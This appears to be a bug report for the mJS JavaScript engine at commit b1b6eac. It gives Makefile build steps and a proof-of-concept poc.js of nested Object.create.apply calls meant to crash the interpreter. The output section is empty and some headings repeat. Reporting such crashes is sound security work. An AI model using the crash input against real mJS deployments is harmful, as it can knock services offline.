vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
(function() {
((function JSEtest(a) {
if (a > 3) {
if ([((function JSEtest(a) {
if (a > 3) {
if ([Object.create.apply({}, [Object])]) {
Object.create.apply({}, [Object])
}
}
})(6))([((function JSEtest(a) {
if (a > 3) {
if ([Object.create.apply({}, [Object])]) {
Object.create.apply({}, [Object])
}
}
})(6))({}, [Object])])]) {
Object.create.apply({}, [Object])
}
}
})(6))
})()
```
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output